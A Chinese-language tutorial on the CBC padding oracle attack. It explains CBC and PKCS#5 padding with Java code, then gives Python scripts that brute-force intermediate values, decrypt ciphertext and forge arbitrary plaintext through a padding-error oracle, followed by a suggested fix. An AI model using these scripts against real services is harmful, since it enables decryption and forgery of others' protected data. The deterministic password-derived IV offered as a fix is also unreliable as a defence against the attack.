CBC加密原理

先预习下CBC的加解密原理吧。

加密

如下图所示，CBC的加密步骤如下：

对明文分组，每组长度通常为8或16字节，末尾分组需要填充，通常填充采用PKCS#5标准；
生成初始化向量IV，长度为分组长度；
对于第一个明文分组，先由IV异或明文分组1得到中间值，再通过对称加密（DES/AEC/etc）得到密文分组1；
对于接下来的分组，由上一个密文分组替代IV算得中间值，再通过对称加密（DES/AEC/etc）得到密文分组2,3,4……

给出加密的Java代码：

public static String encrypt(String plain, String key) throws Exception {
    byte[] keyBytes = key.getBytes(charset);
    byte[] plainBytes = plain.getBytes(charset);
    SecretKeySpec keySpec = new SecretKeySpec(keyBytes, "DES");
    Cipher cipher = Cipher.getInstance("DES/CBC/PKCS5Padding");//"算法/模式/补码方式"
    cipher.init(Cipher.ENCRYPT_MODE, keySpec);
    byte[] iv = cipher.getIV();
    byte[] encrypted = cipher.doFinal(plain.getBytes(charset));
    return bytes2HexStr(iv)+"::"+bytes2HexStr(encrypted);
}

可以看到，算法输入是明文（plain）和密钥（key），返回是初始化向量（iv）和加密后的密文（encrypted）。

解密

如下图所示，CBC的解密步骤如下：

将密文分组；
对于第一个密文分组，先经过对称加密算法解密得到中间值，再由初始化向量IV异或中间值得到明文分组1；
对于接下来的密文分组，由经过对称加密算法解密得到中间值，再上一个密文分组代替IV异或得到明文分组2,3,4……；

1563012736837

给出Java版解密代码：

public static String decrypt(String secret, String key, String iv) throws Exception {
    byte[] keyBytes = key.getBytes(charset);
    byte[] secretBytes = hexStr2Bytes(secret);//先用base64解密
    byte[] ivBytes = hexStr2Bytes(iv);

    IvParameterSpec ivs = new IvParameterSpec(ivBytes);
    SecretKeySpec keySpec = new SecretKeySpec(keyBytes, "DES");
    Cipher cipher = Cipher.getInstance("DES/CBC/PKCS5Padding");
    cipher.init(Cipher.DECRYPT_MODE, keySpec, ivs);
    byte[] plain = cipher.doFinal(secretBytes);
    String plainString = new String(plain,charset);
    return plainString;
}

可见输入是密文（secret）、密码（key）、初始化向量（iv）——这正与加密的输入对应，输出是明文（plainString）。

PKCS#5填充方案

这里再提一下PKCS#5方案，简单说就是缺多少位补多少，补内容就是缺位数的int值，例如：需要加密的串为“FIG”，而分组长度为8，那么缺5位，因此补完为“FIG\x05\x05\x05\x05\x05”，注意即使长度正巧为8，也需要补上一个完整分组，以检查加密正确性。

在解密完最后一个分组后，先会检查Padding是否合法（注意，这是发起Oracle Padding攻击的关键）

com.sun.crypto.provider.CipherCore#unpad():

private int unpad(int len, byte[] intermidVal) throws BadPaddingException {
    int ret = this.padding.unpad(intermidVal, 0, len);
    if (ret < 0) {
        throw new BadPaddingException("Given final block not properly padded. Such issues can arise if a bad key is used during decryption.");
    } else {
        return ret;
    }
}

com.sun.crypto.provider.PKCS5Padding#unpad():

/**
 * @param plain 解密字符串
 * @param startIdx 开始下标
 * @param length 字符串长度
 * @return paddingVal
 */
public int unpad(byte[] plain, int startIdx, int length) {
    if (plain != null && length != 0) {
        int totalLength = Math.addExact(startIdx, length);
        byte tailVal = plain[totalLength - 1]; // 解密后明文的最后一个字符
        int unsignedTailVal = tailVal & 255;
        if (unsignedTailVal >= 1 && unsignedTailVal <= this.blockSize) {
            int paddingStartIdx = totalLength - unsignedTailVal;
            // tailVal==unsignedTailVal
            if (paddingVal < startIdx) {
                return -1;
            } else {
                for(int i = paddingStartIdx; i < totalLength; ++i) {
                    if (plain[i] != tailVal) {
                        return -1;
                    }
                }
                return paddingVal;
            }
        } else {
            return -1;
        }
    } else {
        return 0;
    }
}

推导原中间值

假设plain=123456789，key=keykeyke，加密得到iv(hexcoded)=c86518374d219a7e,secret(hexcoded)=c8c9c4f092468f9e75b520a3ea1832c0

作为攻击者，目前我们知晓的是iv和secret，攻击的第一步是调整iv得到中间值：

1563019123084

抽取第一块出来看，如果我们调用decode("c8c9c4f092468f9e",key,"0000000000000000")——再次注意，能控制的只有secret和iv，key变量未知也不可控，上文函数势必会报错，因为Padding不合法：

1563075246744

那么此时（最可能）合法的Padding是什么呢？不难想到应该是0x01，即Plain Text & Padding应该为”???????\x01“

爆破辅助IV[-1]

控制secret不变，IV清零，先爆破(合法的辅助)iv最后一位，若结束位为0x01则程序不再报错，反之程序报错（这里可以解释下上文说的“最可能”的含义，因为异或后有可能解密后plainText[-2]=0x02，那么合法的padding也可以是\0x02——也就是说结束位为0x02程序也不报错，也有可能plainText[-3]=plainText[-2]=0x03，那么合法的padding也可以是0x03，这样的概率出现的实在是太少了，即使是最后一个分组，由于我们已经清零了IV，因此也不会发生这种情况）。

因此有如下脚本，得到了合法的最后一位是“47”：

def burp_iv(secret: bytearray, iv: bytearray, pos: int)->int:
    for iv_byte in range(256):
        iv[pos]=iv_byte
        #对java的函数的封装，当报错时返回-1。
        ret=decode(secret, iv)
        logging.info("{0}::{1}".format(iv.hex(),ret))
        if ret!=-1:
            return iv_byte

1563075623114

更新中间值

根据上文分析，我们猜测最后一位padding是0x01，并且?^0x47=0x01，那么?=0x01^0x47=0x46，由此中间值的最后一位就是0x46。

legal_iv_byte=burp_iv(secret, fake_legal_iv,i) # 0x47
# 更新intermediary value
intermedi_byte=padding^legal_iv_byte # 0x01^0x47 
intermedi[i]=intermedi_byte # 0x46

1563075737764

更新辅助IV

接下来推第二位，此时我们假设(最有可能的合法)padding值应该是0x02，首先让最后一位合法——IV[-1]^0x46=0x02，即更新IV[-1]=0x02^0x46=0x44

# 更新iv
padding+=1 # padding=0x02
legal_iv_byte=padding^intermedi_byte # 0x44
fake_legal_iv[-1]=legal_iv_byte

1563075936620

爆破辅助IV[:-2]

用爆破第一位的相同方法，得到第二位IV为0xAF，再得到第二位中间值为0xAD：

1563074854405

再更新辅助IV爆破第三位，以此类推，可以整个中间值f9572b037817ad46：

1563074654217

即最多花费256*len(block)次尝试，可以得到整个中间值，此时辅助IV的任务已经完成。

而此时，攻击者需要的只是secret和分组长度。

另外，不论对于哪一个分组（即使是最后一个填充分组），进行的操作都是一样的。

推导原明文

知道中间值之后，由Intermediary ^ IV = Plain 推导原明文，注意这里是真实的IV，而不是之前的辅助IV。

def burp_plain(intermedi: bytearray, iv: bytearray)->bytearray:
    block_len=len(intermedi)
    plain=bytearray.fromhex("00"*block_len)
    for i in range(block_len):
        plain[i]=intermedi[i]^iv[i]
    logging.info("Get Plain Value: {}".format(plain.hex()))
    return plain

对于第一个分组，IV就是初始IV；对于后面的分组，IV为上一分组的密文，以此可以推导全部明文：

def decrypt(secret: bytearray, iv: bytearray)->bytearray:
    plain=bytearray()
    block_len=len(iv)
    real_iv=iv
    for i in range(0,len(secret),8):
        block_secret=secret[i:i+8]
        intermedi=burp_intermediary(block_secret, block_len)
        plain+=burp_plain(intermedi, real_iv)
        real_iv=secret[i:i+8]
    logging.info("Get Full Plain: {}".format(plain.hex()))
    return plain

梳理一下，在知晓secret和iv的情况下，攻击者先推导中间值，接着推导原明文。

伪造明文

推导出中间值后，可以伪造新明文：

1 2	∵ intermediary ^ new_iv = fake_plain ∴ fake_iv=intermediary ^ fake_plain

我们先构造一个长度在一个分组长度内的密文，比如“7654321”：

PKCS#5填充，得到“7654321\x01”
new_iv=b"\xf9\x57\x2b\x03\x78\x17\xad\x46" ^ b"7654321\x01"=b"\xce\x61\x1e\x37\x4b\x25\x9c\x47"
decode(“c8c9c4f092468f9e”,key,“ce611e374b259c47”) = “7654321”

代码实现如下：

def encrypt_block(secret_block: bytearray, fake_plain: bytearray)->(bytearray, bytearray):
    block_len=len(secret_block)
    if len(fake_plain)<block_len:
        fake_plain=pkcs5(fake_plain, block_len)

    intermedi=burp_intermediary(secret_block, block_len)
    iv=bytearray(block_len) 
    for i in range(block_len):
        iv[i]=intermedi[i]^fake_plain[i]
    logging.info("Fake IV: {0}, Secret: {1}".format(iv.hex(), secret_block.hex()))
    return iv, secret_block

可以看到，算法输入实际上只有需要加密的明文（secret可以为任意值），输出实际上只有iv（secret原样返回）。

伪造任意长度的明文

根据CBC的解密流程，将最后一块加密产生的IV作为倒数第二块的secret，以前的倒数第i块IV作为倒数第i-1块的secret，依次向前算得所有密文，最后产生的IV作为初始IV。

def encrypt(plain: bytearray, block_len: int)->bytearray:
    idxs=list(range(0, len(plain), block_len))
    secret=bytearray()
    secret_block=bytearray(block_len)
    for idx in idxs[::-1]:
        iv, secret_block=encrypt_block(secret_block, plain[idx:idx+8])
        secret=secret_block+secret
        secret_block=iv

    logging.info("IV: {0}, Secret: {1}".format(iv.hex(), secret.hex()))
    return iv, secret

修复方案

在加密时，不使用默认的iv，而使用sha(salt+password)来产生iv，这样在密码传递时就不需要发送iv，解密时重新计算的到iv解密即可，其实不加salt也可以，但是为了防止爆破还是加一下吧。

总结

整理一下，在攻击者知晓加密方式为AES/DES-CBC，密文以及初始化向量长度后，可以解密原中间值；攻击者知晓密文以及初始化向量值后，可以进一步解密原明文；攻击者在只知晓加密方式为AES/DES-CBC情况下，可以伪造明文，当然整个大前提是攻击者可以多次调用解密程序，并且解密程序在padding不合法时报错。

代码：https://github.com/Anemone95/padding-oracle-attack

PaddingOracle攻击